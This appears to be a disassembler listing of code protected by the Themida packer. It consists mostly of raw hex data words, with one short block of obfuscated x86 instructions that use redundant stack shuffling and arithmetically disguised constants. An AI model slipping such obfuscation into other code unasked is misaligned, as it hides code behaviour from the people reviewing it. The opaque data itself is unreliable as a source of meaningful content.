byte_52208F db 52h ; DATA XREF: Themida_:004EFA6Co
dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h
dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h
dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h
dd 0A840F2Dh, 4000000h, 32133498h, 8C3C1D8h, 0FC90B49h
dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 5E543B0h
dd 1A898589h, 858D05E2h, 5E543D8h, 1DB58589h, 858D05E2h
dd 5E54400h, 0CE98589h, 806005E2h, 0C08B85DEh, 0FB8B6660h
dd 5870Fh, 5CB80000h, 6132968Fh, 1EA9BD83h, 750005E2h
dd 5BD8309h, 5E218h, 53501974h, 0EB8C08Bh, 89000004h, 0E2315D85h
dd 0FA9D8D05h, 0FF05E4B2h, 83585BD3h, 0E21805BDh, 17740005h
dd 0EB85350h, 89000004h, 0E2315D85h, 0E99D8D05h, 0FF05E4AFh
dd 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0D514C356h, 6AF82E50h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 5118C352h, 665D00E1h, 6AC08B06h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 62FAC353h
dd 0DB7313BEh, 0FD74A33h, 88h, 0A1BD8300h, 5E21Ch, 45840Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 323DFBC3h, 63B2036Ah, 230E9h, 0FE900h, 93C30000h
dd 1C7A9B34h, 5A914859h, 9C1D8946h, 0BF0F60B5h, 0DE87B8F9h
dd 8C617ED2h, 12E8FCDFh, 61000000h, 0AF052D4Ah, 6FF67C1Ch
dd 48294E6Fh, 0B11364C1h, 0CFB70F47h, 0C7F7665Ah, 850F0004h
dd 1E9h, 68D0Fh, 0C6810000h, 56BB5B7Eh, 0BFh, 0A5F28000h
dd 471E9D8Dh, 6A05E5h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 48B8A7C3h, 0EE806006h, 11E975h
dd 0E78E0000h, 7A322D39h, 71B1352Dh, 0FEE127ACh, 9356EB8Fh
dd 6650D68Bh, 8A93D78Bh, 35FF64D0h, 0
dd 0D8D0Fh, 0E8510000h, 5, 7A594E5Fh, 64595E02h, 2589h
dd 5CBE0000h, 8B127823h, 50006AC4h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0E7046A9Dh, 0EB01CD9Fh
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 0BE66D739h, 6AF7AEh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 30B172C3h
dd 0F56F0FFh, 48Fh, 0C9B96600h, 0B10BE72h, 13E94B5Dh, 3D000000h
dd 0EB5558F7h, 4532C604h, 0B535C986h, 1D3E859Bh, 8F6467ABh
dd 5, 0CBB70F00h, 0BA04C483h, 679CA187h, 840FC00Bh, 0BDh
dd 18E0Fh, 61F80000h, 4B56D681h, 0BD8D3520h, 5E27219h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6EC35747h
dd 0B5943815h, 116971E4h, 1B85Fh, 0E7FF0000h, 8E9h, 0A79F0000h
dd 991A332Bh, 5C8B5787h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh
dd 0B0h, 0B88383h, 5F020000h, 6AC3C033h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0E979C357h
dd 80E4CC7Bh, 0BF0FE0D9h, 0D78B60F1h, 94C7BE66h, 1A8F0F61h
dd 0F000000h, 1489h, 0FE900h, 88B10000h, 0BC056811h, 0E1221411h
dd 8BA33EB3h, 0BA666180h, 0C08BD1A7h, 0BD83CA8Bh, 5E21EA9h
dd 83097500h, 0E21805BDh, 19740005h, 0C08B5350h, 40EB8h
dd 0D5858900h, 8D05E21Dh, 0E4B3619Dh, 5BD3FF05h, 5BD8358h
dd 5E218h, 53501774h, 40EB8h, 0D5858900h, 8D05E21Dh, 0E4B0029Dh
dd 5BD3FF05h, 0C9B70F58h, 8E9h, 71ACFB00h, 20DBA241h, 55006A83h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 0C6818037h, 75E65F77h, 850FC08Bh, 6, 5928EE81h, 0C28B1130h
dd 10E8h, 33310600h, 8FF29238h, 0C130933Fh, 0BA8B0DBCh
dd 5B1DB6C3h, 0CE8h, 30D0CE00h, 0F9CE3EC4h, 109E35F8h
dd 14E996h, 0E6AF0000h, 0CC923AB6h, 3F3071EDh, 0A6A830Ah
dd 0BFC366C0h, 815E05F5h, 5BD2C3h, 0D2816600h, 68C3A4h
dd 59000000h, 660B048Bh, 0F081D18Bh, 19A688BDh, 15C7BF66h
dd 0A7F7C081h, 8E0F683Eh, 2, 0F08117B2h, 77266D8h, 0EAA4BA66h
dd 660B0489h, 4A08E781h, 0CE8h, 0FF579C00h, 0E594E8D1h
dd 99C3E836h, 0DF8166BEh, 835F969Bh, 0B70F04E9h, 0D4F981F1h
dd 0FFFFFA4h, 0FFFFA785h, 0EBF08AFFh, 8, 0
dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0B9858B24h
dd 8D05E200h, 0E5933285h, 8B088B05h, 100088h, 660A8B00h
dd 89FC4A8Bh, 0E548DA8Dh, 55BD8305h, 5E226h, 0F840Fh, 6A600000h
dd 0B995FF00h, 6105E20Ah, 0FFFFC4E9h, 728966FFh, 10CEC1FCh
dd 2728966h, 5A04CD52h, 48D68589h, 0B58B05E5h, 5E548DAh
dd 6610CEC1h, 8B027289h, 0E548DAB5h, 72896605h, 858B61FCh
dd 5E548D6h, 0C5958DC3h, 8905E211h, 0E2192D95h, 35958905h
dd 0FF05E21Fh, 0E21F3585h, 4985C605h, 5305E20Ah, 0B148D868h
dd 2DB5FFFCh, 8D05E226h, 0E239ED85h, 89D0FF05h, 0E20AB985h
dd 57858D05h, 8905E541h, 0E20B4185h, 0E900EB05h, 5C4h
dd 5B8E9h, 4A8F6800h, 5CE905E5h, 68FFFD36h, 5E54BB7h, 0FD3652E9h
dd 4C4468FFh, 48E905E5h, 68FFFD36h, 5E54D09h, 0FD363EE9h
dd 4E0F68FFh, 34E905E5h, 8EFFFD36h, 0E3464C48h, 562BB7F3h
dd 0B1F01EA2h, 0E75A4046h, 9522A8F6h, 662CD1EEh, 0CCD20978h
dd 357963C6h, 991FD8A9h, 9730717Dh, 0F9FDF0A6h, 88F4367Fh
dd 0FC18B9FBh, 18B92E2Fh, 0B9A6DAFCh, 0FF74FC18h, 2BFC18B9h
dd 0FC18B917h, 18B9AEC3h, 0DA1D5C7Ch, 0D10649DCh, 744D9ECBh
dd 0A7A831EFh, 7E7C18B9h, 1255D401h, 1441A4E8h, 0B983B415h
dd 0E5527C18h, 42FC5DC4h, 0B681FAD9h, 2F064C21h, 0EEFF7454h
dd 1D5CC3B8h, 1B380FDFh, 9D73E207h, 15C7BA20h, 36555983h
dd 0C43D4885h, 53F46B5Fh, 84188B2Fh, 2FEC0966h, 3A7E7D37h
dd 432046Fh, 0F7E10000h, 0A25217B3h, 5189F8E6h, 0F5E0414Dh
dd 0A5562BB7h, 9D44F31Fh, 0C9D5DB00h, 97338178h, 7E6428D2h
dd 0C2C8CE0Bh, 1546E302h, 0CCF9FDF3h, 696E8541h, 0B2EFB329h
dd 0B9700E6Bh, 352FFC18h, 8604F541h, 36B02918h, 3A223465h
dd 0A8EEEBD5h, 7CE70673h, 4B0A3D7Bh, 980E0F8Bh, 9E8CA35Eh
dd 5C87AE3Fh, 488B129Eh, 7FFC0F8Dh, 0BFCED208h, 6FD1A507h
dd 69D5A10Bh, 0E6AC2A70h, 3A04582Bh, 37D80h, 696EBA00h
dd 0C37FD823h, 0E8FC18B9h, 9F58A69Eh, 0B0F1FD19h, 18B92617h
dd 3973E4FCh, 0C8CC08DFh, 1B3A784Fh, 9CEF44C2h, 0EA11A755h
dd 0DF1441A4h, 0DCF8E33h, 0C0393881h, 0CE56A3FAh, 0C649F8E6h
dd 185EF061h, 174A21FCh, 0B40DBDFh, 4C4A8FB2h, 0C6377639h
dd 7960EFF8h, 73CAF2Bh, 0F5FC185Eh, 5E64D572h, 0C6BDFC18h
dd 317F7AE5h, 5C701DEAh, 4C0DAA2Dh, 9EFC185Eh, 185E3839h
dd 0F492E9FCh, 46E32EBFh, 1FA5EF8h, 849EE13h, 0C2F9FA5Eh
dd 0FA5EF465h, 0C8562DF9h, 74F90673h, 37045EEAh, 30AF352h
dd 1FD90000h, 0CA0A7F9Bh, 7961C0CEh, 1DD8A935h, 0CD0E739Fh
dd 0C5ACDBC7h, 11BD03F8h, 0FF1BA950h, 464C508Ah, 2AB0F6E3h
dd 0FD7EDB2Ah, 14F9FDF2h, 696EAD69h, 6099D823h, 5980C35Ah
dd 8A119541h, 5D8E1441h, 0FC18B9E0h, 18C93F34h, 0C0CE0DFCh
dd 0D7DD1E41h, 9FA607B4h, 18A9BDB2h, 7054F9FCh, 0CD0F4EF1h
dd 5EFBBAC1h, 0FC18A91Dh, 0B9027F34h, 0FACFC250h, 0E5145501h
dd 1CD34CDFh, 0ACE4339Ah, 0A0CD3A77h, 45F4A27h, 7D147F0Ah
dd 2A000002h, 9FE2E8ACh, 0F2B75357h, 2D1CBA06h, 83E6ECAAh
dd 314E545Ah, 2904D52h, 6836A584h, 0D1DD1F62h, 5837435h
dd 0BACD599h, 0F9FDF54Ah, 0AE509A9Bh, 0FB82A839h, 0ECFD6E7Ah
dd 0B83C7465h, 0C18087FCh, 2E35961Ch, 117432A7h, 5602CAEh
dd 289F1DDAh, 369FEEB2h, 0BAF84034h, 1F64430h, 0BC111FBBh
dd 133A0488h, 1E2h, 632FADECh, 3BAD318h, 14921815h, 88CEBC0Dh
dd 0FC18B9FBh, 38F13C9h, 95F0BC3Eh, 8DCE6BEAh, 44FC18B9h
dd 6993DEEFh, 0AACC625h, 820ECC3Ah, 13C31E04h, 51683A04h
dd 52000000h, 4BE239AEh, 9835A45h, 765AC7B0h, 811056F3h
dd 3C0B01FAh, 5F4D62F7h, 31107504h, 1B8h, 0A9357167h, 72981CD8h
dd 0DBC7CB0Fh, 0AD296F66h, 75911FDCh, 558617FEh, 0FBFE434Fh
dd 0A25829B5h, 48B1F01Eh, 69984442h, 0FDF48FC0h, 1FDF46F9h
dd 0F0F20B8h, 2FA78942h, 4FB63E6Bh, 18E161EAh, 0B0CBA0FCh
dd 0DBC7CB31h, 0D02B7166h, 0D0577DE7h, 0E1470851h, 0A19EFC18h
dd 0BCFF0218h, 0E857703Ch, 4120AEF2h, 2C6F1298h, 720D30A8h
dd 3FC5580Eh, 1352F9C2h, 4D3CDAE8h, 73F8038Fh, 0A6973071h
dd 7FFC18D7h, 0A2880100h, 0FA33A11Eh, 3DA4CF18h, 0E2D5F1BDh
dd 8E315478h, 0F58464Ah, 0FC189072h, 2DC11780h, 80F0DF8Eh
dd 0EDC14E27h, 9149DD7Ah, 8BE001FAh, 0AF21D594h, 0FAE0490Ah
dd 76A398F9h, 464AB0F3h, 8373B627h, 5677E407h, 8105F1B0h
dd 0BD01FB7Ah, 0AEF4E76Eh, 12E4145Fh, 0FAE084B5h, 0A9E65DF9h
dd 0F750D352h, 0F9FAE046h, 2E07A09Fh, 0BD1A0D21h, 418BD45h
dd 41AAD7ACh, 8FE7D4Ch, 0B2127Dh, 77610000h, 22D29733h
dd 0D1097866h, 7560C1CDh, 25D6AB37h, 1DC4739Fh, 49555B80h
dd 17B301F8h, 0FEE4A852h, 42484E8Bh, 95C66382h, 4CF9FDF7h
dd 696E05C1h, 6099D823h, 0CEB3C35Ah, 0B969EA4Fh, 0C3B8FC18h
dd 368470FAh, 0C544FBC1h, 18B9F364h, 745522FCh, 1335E896h
dd 0D9983A04h, 0CF0C9F23h, 1CB1FEh, 88B50000h, 0FC18B9FAh
dd 0F8B11C6h, 26DAh, 0DD185B00h, 8A82BEDFh, 0F9643A9Dh
dd 0FB881AE0h, 9FC18B9h, 0B9302186h, 8AE1FC18h, 0C3C90E31h
dd 0DDD91D5Ch, 75501E0Ch, 498DCC09h, 2CBD3E4Dh, 0BC5h
dd 95D54200h, 0F39BEF5h, 4D77A13Ah, 0D92C686Eh, 0C05B6196h
dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
dd 769519C1h, 788307CFh, 4EC81F2h, 89000000h, 0E789243Ch
dd 4C781h, 0EF830000h, 243C8704h, 30DF685Ch, 2C890000h
dd 5EC06824h, 34890000h, 22B46824h, 14890000h, 7C14BA24h
dd 814A6D42h, 5D3233EAh, 5AD58967h, 412568h, 24248900h
dd 4240483h, 0BA52555Eh, 59662077h, 4245429h, 8468F5Ah
dd 77084681h, 0FF596620h, 835E2434h, 34FF04C4h, 0C4835D24h
dd 30B9E904h, 0BF84FFFDh, 0B000DE4Ch, 41AB2746h, 4EE6B8D4h
dd 0C50305E5h, 20EBD18Bh, 8 dup(0)
dd 50AE9h, 4FEE900h, 34680000h, 0E905E551h, 0FFFD306Fh
dd 0E551CB68h, 3065E905h, 4468FFFDh, 0E905E553h, 0FFFD305Bh
dd 0E553A368h, 3051E905h, 2BADFFFDh, 0D61E636Fh, 857534D2h
dd 29AC9D39h, 0D9026763h, 0D1B0CFCBh, 5810FCCh, 0E3EFB524h
dd 4A505C9Eh, 1E8402F7h, 0C98A2F56h, 18F9FDF6h, 6A6ED115h
dd 0C57AC726h, 0D67C18B9h, 0B06DA490h, 1FBA0416h, 40h
dd 0B9FA8823h, 93B0FC18h, 0B963D475h, 0C5B2FC18h, 0B6309988h
dd 4201FE08h, 0B1D4DA03h, 0BBC2C60Eh, 0A6E4C532h, 5F941AC3h
dd 4F00A928h, 86F9FDF6h, 0F70A10A9h, 2D7844B4h, 31B01FA8h
dd 0CA000000h, 18B9FB88h, 8E4609FCh, 617AF30Ah, 0A0A78B88h
dd 0B9D79821h, 310EFC18h, 6C069A8h, 0C901FE08h, 0C7357D78h
dd 0F47F8EFBh, 0F4618400h, 9E4442BFh, 0AB2C6A6Eh, 71AEF4E7h
dd 1174A12Ah, 18B93C48h, 0FE7617Ch, 0F5BB2063h, 0DD842596h
dd 0AFEE911Dh, 0D005602Eh, 492DDA47h, 0AE3F8460h, 61C649F8h
dd 7C1816F0h, 0E6174A21h, 2C360FD8h, 8BB80100h, 627C1866h
dd 36931215h, 7C180605h, 3F4667DCh, 594543B4h, 0AADDF19Eh
dd 5C72ECEBh, 99693F7Eh, 0ED6EBDEAh, 36F455DCh, 6981FA30h
dd 91AE8B12h, 8279FA33h, 83C27044h, 0F0765753h, 0BFE6991Dh
dd 8105F1B0h, 0ABE8F17Ah, 65h, 577B189Fh, 0EBEE51D0h, 1A612DAFh
dd 0FA4364D1h, 1FE0226h, 0C4FF249h, 1B5ACDCBh, 1F0BDCE2h
dd 82EFAD2Ah, 45C972Eh, 0B539186Dh, 5A000002h, 8FF2189Ch
dd 0E2474347h, 5D2CAAF6h, 0B3F61C9Ah, 215E444Ah, 32807D42h
dd 9826D594h, 0C1CD0F72h, 357364C5h, 0FB5CA5A9h, 0F9FDE87Ah
dd 8E20EAABh, 280h, 266A6EB4h, 0B9C57AC7h, 9C11FC18h, 48FC18B9h
dd 0FC18B938h, 18B94DE2h, 0B9E499FCh, 330FC18h, 47BC18B9h
dd 3CD42ADAh, 8339B0B7h, 1276D356h, 0B5C1FD12h, 72DE4BFEh
dd 66B0EDE6h, 642F3697h, 90EBB725h, 0A4A9825Bh, 1DDE8180h
dd 6ECB3697h, 0C41F9820h, 2B971C6Bh, 3C3E7A38h, 21E0669h
dd 33A50000h, 0DE166B77h, 8D4D3CDAh, 31A48501h, 0E11A6F6Bh
dd 0D9B837D3h, 0D8917C4h, 0EBF7BD3Ch, 0B2586496h, 68C0ACFh
dd 0D182275Eh, 0F9FDE8h, 696ED91Dh, 62EFD823h, 0FF58DB4Eh
dd 0FC18B97Eh, 47BFD897h, 2A7AD4CCh, 0D475BC0Dh, 1FEFFCEh
dd 1D6C6AC1h, 7435D1DDh, 14ED3884h, 0B3245B0Fh, 92F3759Ch
dd 1D84254Dh, 18DE0EBCh, 0B46DFA04h, 0FE164FF7h, 61840AF3h
dd 0F82EBFF4h, 0AFC40783h, 5DF7D44Ah, 0BDCE01Ah, 6392D32h
dd 8A16C487h, 0FBD6E831h, 72C90A32h, 4D4B8CCFh, 5C629BDAh
dd 2DAA9F8Bh, 84151C6Fh, 93200507h, 46AF3854h, 0EDAA7619h
dd 21D6F09Dh, 8C6DF29Bh, 0FEF04D22h, 0BD399E81h, 54104C49h
dd 0B029681Fh, 5C9DECEAh, 544CF5Eh, 0ABF4D5D1h, 0EB8F29A6h
dd 0F6695DC2h, 69985551h, 70F74C16h, 0C4C2C831h, 0D7367465h
dd 0ACEAEDACh, 0C33D221Bh, 0F7505480h, 0E1646646h, 0FD089444h
dd 2865D278h, 0D7569039h, 88F91C82h, 0F5104D53h, 7A9697ACh
dd 724284DFh, 6642E23Fh, 19495Dh, 47C60000h, 7A9A71E2h
dd 94CBA0DFh, 0B88E5F65h, 18D6FB88h, 1129FCh, 0AE5D0000h
dd 0B9C98A2Fh, 2318FC18h, 0D33C319Ah, 1875FC18h, 77D0577Bh
dd 1FE086Bh, 0C552D5A2h, 1B6537CAh, 143F882Ch, 0EF92B6DBh
dd 1F18284Ah, 678CFB04h, 0FE79F5B5h, 0A560C3A6h, 2A000000h
dd 9FE2E8ACh, 0F2B75357h, 2D1CBA06h, 83E6ECAAh, 314E545Ah
dd 2904D52h, 6836A584h, 0D1DD1F62h, 5837435h, 0BACD599h
dd 0F9FDEA4Ah, 18509A9Bh, 77D0577Bh, 1FE086Bh, 79B6D5A2h
dd 0CE71F0D4h, 0B1760459h, 3ED5464Ch, 0ABF4D556h, 41F587Fh
dd 1A5CD996h, 9DFE7A39h, 46A988h, 0BCD0000h, 0B63E038Fh
dd 6595D4F2h, 9CCBD59h, 0B9220783h, 0B150EFEBh, 25A1EFECh
dd 830F9544h, 6A703CBEh, 3EA4E217h, 0E96ACF36h, 38F9FDEAh
dd 39AEB175h, 1AC17214h, 53C47194h, 1FA80ADFh, 3B0h, 9DA7CA00h
dd 0D92C686Eh, 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh
dd 1F6E34A9h, 9B21D4h, 769519C1h, 788307CFh, 68BE68F2h
dd 0C890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
db 89h, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push edi
mov edi, 65160E0h
dec edi
shl edi, 6
dec edi
push ebp
mov ebp, 91BD787Ch
xor edi, ebp
pop ebp
mov eax, edi
pop edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebx
push eax
add dword ptr [esp], 505B0388h
pop ebx
sub ebx, 505B0388h
mov [edi+8], ebx
pop ebx
push dword ptr [esp]
pop edi
add esp, 4
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
dw 3103h
dd 0E5540EB8h, 8BC50305h, 51E9C8h, 8B600000h, 3242474h
dd 7C8B3C76h, 0D68B2824h, 0F8C281h, 8B660000h, 0B70F064Eh
dd 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch, 83000000h
dd 428B28EAh, 144A8B0Ch, 0F82BC12Bh, 1C247C89h, 8C261h
dd 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh, 9FD3Eh
dd 10E8h, 34A2F000h, 0C58649A8h, 6F7C8344h, 6951D095h
dd 5BEE8A31h, 3570B966h, 65D4C381h, 85B50000h, 0DE9D22Bh
dd 58000000h, 2ED1ED2Ch, 0B866D76Fh, 0EF84C81h, 0B51A34FFh
dd 12E95FBFh, 7000000h, 53A0A997h, 98357A6Ah, 5FECD01Ah
dd 4BB3DC9Ah, 77C78108h, 0E9031E87h, 12h, 0F18FE45Bh, 0E10EBC6Ch
dd 30858DA7h, 1F57BC63h, 0F7810367h, 7F1ED5EBh, 81F2B70Fh
dd 0DC849EC7h, 57EE8A2Ch, 13048FFCh, 0AB28B866h, 83F1B70Fh
dd 0E18A03EAh, 0F4FA814Ah, 0FFFFF9Ah, 1885h, 0C7B70F00h
dd 28E9h, 0E1CD1000h, 0BF098AA4h, 79D7F8FBh, 99604056h
dd 21F6812Dh, 0E93715EEh, 0FFFFFF74h, 36F9AF8h, 0BAF9F008h
dd 4DE27A39h, 0D9E9FAh, 1D200000h, 0C12C0FBEh, 0CFDF2F82h
dd 54FDBEB6h, 0A436365Dh, 0D500BCECh, 0D352C55Dh, 94A4D676h
dd 0C44100FCh, 0CB50C1AEh, 0AC325277h, 0B8009CACh, 64F7F691h
dd 389382CDh, 3C000000h, 40000000h, 94000000h, 5000000h
dd 1000000h, 28000000h, 200000Ah, 20h dup(0)
dd 0BA000000h, 0E948321Ch, 1F11h, 0E558B768h, 2959E905h
dd 0B068FFFDh, 0E905E559h, 0FFFD294Fh, 0E55AC568h, 2945E905h
dd 0B168FFFDh, 0E905E55Bh, 0FFFD293Bh, 0E55CB068h, 2931E905h
dd 6B68FFFDh, 0E905E55Dh, 0FFFD2927h, 0E55E3668h, 291DE905h
dd 0DA68FFFDh, 0E905E55Eh, 0FFFD2913h, 0E5620F68h, 2909E905h
dd 6E68FFFDh, 0E905E562h, 0FFFD28FFh, 0E5639168h, 28F5E905h
dd 7568FFFDh, 0E905E566h, 0FFFD28EBh, 0E56AA068h, 28E1E905h
dd 0FA68FFFDh, 0E905E56Dh, 0FFFD28D7h, 0E56F4D68h, 28CDE905h
dd 0C368FFFDh, 0E905E56Fh, 0FFFD28C3h, 0E5701A68h, 28B9E905h
dd 8068FFFDh, 0E905E570h, 0FFFD28AFh, 0E5715C68h, 28A5E905h
dd 0B068FFFDh, 0E905E572h, 0FFFD289Bh, 0E573A468h, 2891E905h
dd 0EBEDFFFDh, 965E23AFh, 45B5F412h, 0E9EC5D79h, 994227A3h
dd 91708F0Bh, 0C5C1CF0Ch, 0A32F7564h, 0A901CDEh, 0DEC4C237h
dd 94AEF16h, 0D8F9FDEEh, 696E9155h, 1659D823h, 0D5BCDDE3h
dd 55684E5Dh, 46B3BE0Fh, 8C915A40h, 7A73004h, 91CE1115h
dd 602EAFEEh, 88F7D005h, 0FA084B2Fh, 96F54201h, 612FACEFh
dd 5742FF58h, 1751F9FAh, 0FD35E81Fh, 0D9983FE6h, 0C14E9F23h
dd 34h, 577B18E5h, 0D1C777D0h, 211E01FAh, 0FBFCBF3Eh, 5CED6EBDh
dd 0F9FAA11Bh, 0C16C7DCAh, 0FAA1CB78h, 1659D8F9h, 5802DBE1h
dd 2BE8256Ch, 0D8473FE6h, 7B000000h, 0A3E7EFAEh, 0FF70D958h
dd 16FC18B9h, 94DBEC59h, 9FC62563h, 8A35505Eh, 3324854Dh
dd 0E2FC18B9h, 0E653579Fh, 46D352A9h, 0DCFE57B1h, 0B2044762h
dd 8D4D1A23h, 0FC87750h, 66DA0D89h, 52FC186Bh, 86FBE7A5h
dd 0C7304B51h, 56F3765Ah, 1FA313Ch, 0F9F21857h, 3E7A7A54h
dd 4EF95EC1h, 0A7041E60h, 41D659C8h, 0D67384D2h, 0F7DF1765h
dd 8656C7BCh, 85CC1DD0h, 0FD4C4A58h, 0C975B200h, 8AFE7A92h
dd 1C6294FFh, 1FD90000h, 0CA0A7F9Bh, 7961C0CEh, 1DD8A935h
dd 0CD0E739Fh, 0C5ACDBC7h, 11BD03F8h, 0FF1BA950h, 464C508Ah
dd 2AB0F6E3h, 0FD7EDB2Ah, 14F9FDE1h, 6D6EAD69h, 99ECAA2Dh
dd 86FBE75Ch, 22699751h, 0A0FBC930h, 0B9A0222Bh, 0ECAFD20Fh
dd 1045A0ECh, 0AE15D3B7h, 47A6ECEFh, 57FCB516h, 0EC4DCC73h
dd 0FC18B96Bh, 0B5FCCDBAh, 0FAD12214h, 6786FD01h, 3A7E7D3Ch
dd 2485F2BEh, 0FAA1A6DBh, 4333B5F9h, 0E62B11CCh, 0B9BE3Fh
dd 6E800000h, 59D82369h, 0DDEE216h, 140B9942h, 0C4E5A155h
dd 0BD60D0B9h, 0AB2CFC18h, 5780E1EDh, 50FDCA51h, 0ED4ACD7Ch
dd 0FC18BC6Ch, 0B2FDCEA5h, 0FAEFFD15h, 285F1401h, 9B2C7269h
dd 0BF47CC8Fh, 4AD1AF42h, 0E564D1EBh, 7A601174h, 7D4E2E8Dh
dd 9C819532h, 0FF18041Fh, 202CD15h, 0D3C6909h, 8703914Ah
dd 0E6B39A2h, 0FE7ACACAh, 69D5BCC9h, 0DE00001Bh, 33769C18h
dd 66DBC7C3h, 0C1A02E72h, 370A9016h, 0A5D2F8C6h, 0B6FCE1BEh
dd 1CA25928h, 4549B3F6h, 0A9EFE859h, 67C0212Dh, 0F9FDE0F6h
dd 6EA4662Fh, 6BB276Dh, 8A16C487h, 0F061FA73h, 21FC18B9h
dd 9CE714Ah, 0AE590783h, 6A7EBEFh, 8D189E5Bh, 8B179542h
dd 8E1BA9D7h, 0EA13267Ah, 31441A4h, 0DEEFF97Ch, 0D55478E5h
dd 168EC552h, 0E0062B99h, 2E387EC7h, 0C94801FAh, 0FA4EEF60h
dd 704926F9h, 4CEB5D2Ah, 0BD45DF33h, 4F5586C9h, 552EBF3Ch
dd 0CBE938C8h, 86F7C5BAh, 0F257D649h, 3E695241h, 9F02DB90h
dd 8B34D03Ah, 0A928C3h, 344CA84Fh, 0A83B3C9Dh, 9DEA344Ch
dd 0D1F266F1h, 573E907Dh, 0E445C11Ah, 1B50ABF1h, 1C92C364h
dd 0F443344Ch, 8E936CBFh, 0F1E4A7DAh, 6CEF12ABh, 733EB02Dh
dd 0BC1E20B5h, 0E7155481h, 91B902DBh, 70C9AE84h, 9445043Bh
dd 0AA501316h, 0A0C1C5E6h, 8D79821h, 310E322Eh, 6A30A9A8h
dd 0B32B50Dh, 70D3B63Ch, 1A54h, 6D692DABh, 36DCD81Ch, 9F3B8773h
dd 616D2BAAh, 0C9D5DB00h, 11CAD3B2h, 0B7220783h, 5E9CEDE9h
dd 4F5B452h, 2D541886h, 0FDE3CB8Ch, 0D31B1AF9h, 0E8FF696Eh
dd 0ADD9B743h, 0E152F76Ah, 30FC188Fh, 581B0E7Bh, 4C891CA0h
dd 7AE7D07Bh, 876D356h, 4301FAD2h, 0CE5BEEF4h, 72FC11BFh
dd 0CD4F5D3h, 0C933727Ah, 9435A6C5h, 0EF92B6DBh, 18E3CC4Ah
dd 0F8280704h, 0E3D9D5Fh, 5C701DC8h, 23716A2Dh, 0C74A93D8h
dd 8F561862h, 0E93C0BD2h, 0D18227A6h, 254F16h, 0B4D9922Bh
dd 2E489190h, 0FAD8AD5Ch, 1E5FF87Bh, 37232150h, 506EEF78h
dd 2A72321h, 2150B4A5h, 0D9166D23h, 0BAAD9A00h, 0DD2FB83Bh
dd 811B9AD1h, 0D98ACB9Ch, 0E65B2321h, 1E5FAEF2h, 0A05918A1h
dd 0A4DFC1Ah, 3EBFCECAh, 7735A2ADh, 883AA0Ah, 8DD4B12Bh
dd 1968h, 719D19DFh, 0DAC0C430h, 0A32F7367h, 759117DEh
dd 0DDF9C734h, 0FDFEBFA6h, 0A3562BB7h, 4AB0F11Dh, 0F0E95846h
dd 0C1202CAAh, 0FDE2F778h, 0A7672EF9h, 0B029696Eh, 0ED5A93EAh
dd 1D5EFB7Ah, 34FC18B9h, 5CC76E7Fh, 0AD3DF1Dh, 9382C31h
dd 10873F90h, 7C4D5FC2h, 3D4E9435h, 364101FAh, 4F16396h
dd 709ECB38h, 0C4872D50h, 7A339410h, 0E94EF1D5h, 4183AADh
dd 0BDDF53E4h, 0BDF72A74h, 0D20F8D4Ah, 8D46C96Eh, 3D229304h
dd 0D5377AD5h, 904739B6h, 0E160DD0Ah, 198D97Eh, 66925476h
dd 8C8AC35Ah, 4EEB16B7h, 0A99467E4h, 0FC35502Fh, 397D7957h
dd 7DDA5DCCh, 524867FCh, 28D5E15h, 951BC083h, 421E1976h
dd 0E50676C1h, 0ACB61FA8h, 67AFAA18h, 565483C2h, 2B9C44F5h
dd 69A69D48h, 4442B7F6h, 74E542C5h, 0AD482B9Ch, 9011F5D6h
dd 43642AD1h, 50DDDB1Ch, 560EBF3Eh, 691D6401h, 0DE000018h
dd 33769C18h, 66DBC7C3h, 0C1A02E72h, 370A9016h, 0A5D2F8C6h
dd 0B6FCE1BEh, 1CA25928h, 4549B3F6h, 0A9EFE859h, 67C0212Dh
dd 0F9FDE5F6h, 6EA4662Fh, 59D82369h, 0ABDEE216h, 18B94D0Eh
dd 1EAF84FCh, 15143825h, 0FADF5EB4h, 31ABEA01h, 0CDD1E6Dh
dd 2525A19Eh, 4F63E066h, 0E43B7FD8h, 0E5520418h, 0F835A2A3h
dd 4893131Ch, 0A07C73E4h, 0AE74DD93h, 0D0A5B41Dh, 48D5F29Fh
dd 0FA44E564h, 1508FDACh, 6DF2CF5Eh, 5287C679h, 0AB0C7354h
dd 0F136A83h, 0B3323502h, 867130h, 0D36A3627h, 0A04CEFE8h
dd 772EA7D7h, 2C13B4E1h, 80E1EDABh, 0BCD45157h, 0BFF57637h
